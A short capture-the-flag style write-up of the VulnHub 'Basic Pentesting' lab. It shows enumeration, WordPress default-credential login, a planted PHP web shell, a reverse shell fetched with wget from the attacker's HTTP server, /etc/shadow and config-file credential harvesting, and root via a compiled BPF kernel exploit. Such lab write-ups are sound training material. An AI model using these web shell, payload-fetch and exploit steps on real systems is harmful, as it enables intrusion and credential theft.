Basic_Pentesting.md
IP: 192.168.118.131
OS: Ubuntu 16.04 (kernel 4.10.0-28)
Difficulty: Easy
Source: VulnHub
Nmap
sudo nmap -sV -sC -p- 192.168.118.131
Open ports:
- 21 ProFTPD 1.3.3c
- 22 OpenSSH 7.2p2
- 80 Apache 2.4.18 (hidden WordPress at
/secret/)
Enumeration
dirsearch -u http://192.168.118.131
Found /secret/ → WordPress 4.9 at /secret/wp-admin/
Default credentials admin:admin worked.
Foothold
Method: Manual WordPress theme file edit (not Metasploit)
Log in to WordPress
Logged into /secret/wp-admin as admin:admin.
Edit the theme header
Navigate to Appearance → Editor → Twenty Sixteen theme → header.php.
Add the following at the top:
<?php system($_GET['cmd']); die(); ?>
Confirm remote code execution
Visit /secret/?cmd=id to confirm RCE as www-data.
Obtain a reverse shell
Standard bash/python payloads failed because of URL quoting issues.
Use wget to pull a shell script from a Kali Python HTTP server, then catch the connection with:
nc -lvnp 4444
Privilege Escalation
Enumeration findings:
- Kernel 4.10.0-28 (Ubuntu 16.04)
- MySQL root password
arootmysqlpassfound in/var/www/html/wp-config.php /etc/shadowdumped: marlinspike SHA-512 hash (uncrackable with rockyou)- WordPress admin hash was just
admin— not reused for system
Exploit used: CVE-2017-16995 (BPF kernel exploit)
Download the exploit on Kali
searchsploit -m 44298
python3 -m http.server 8000
Compile and run the exploit on the target
cd /tmp
wget http://192.168.118.130:8000/44298.c
gcc 44298.c -o exp
./exp
Obtain root access
Root shell obtained.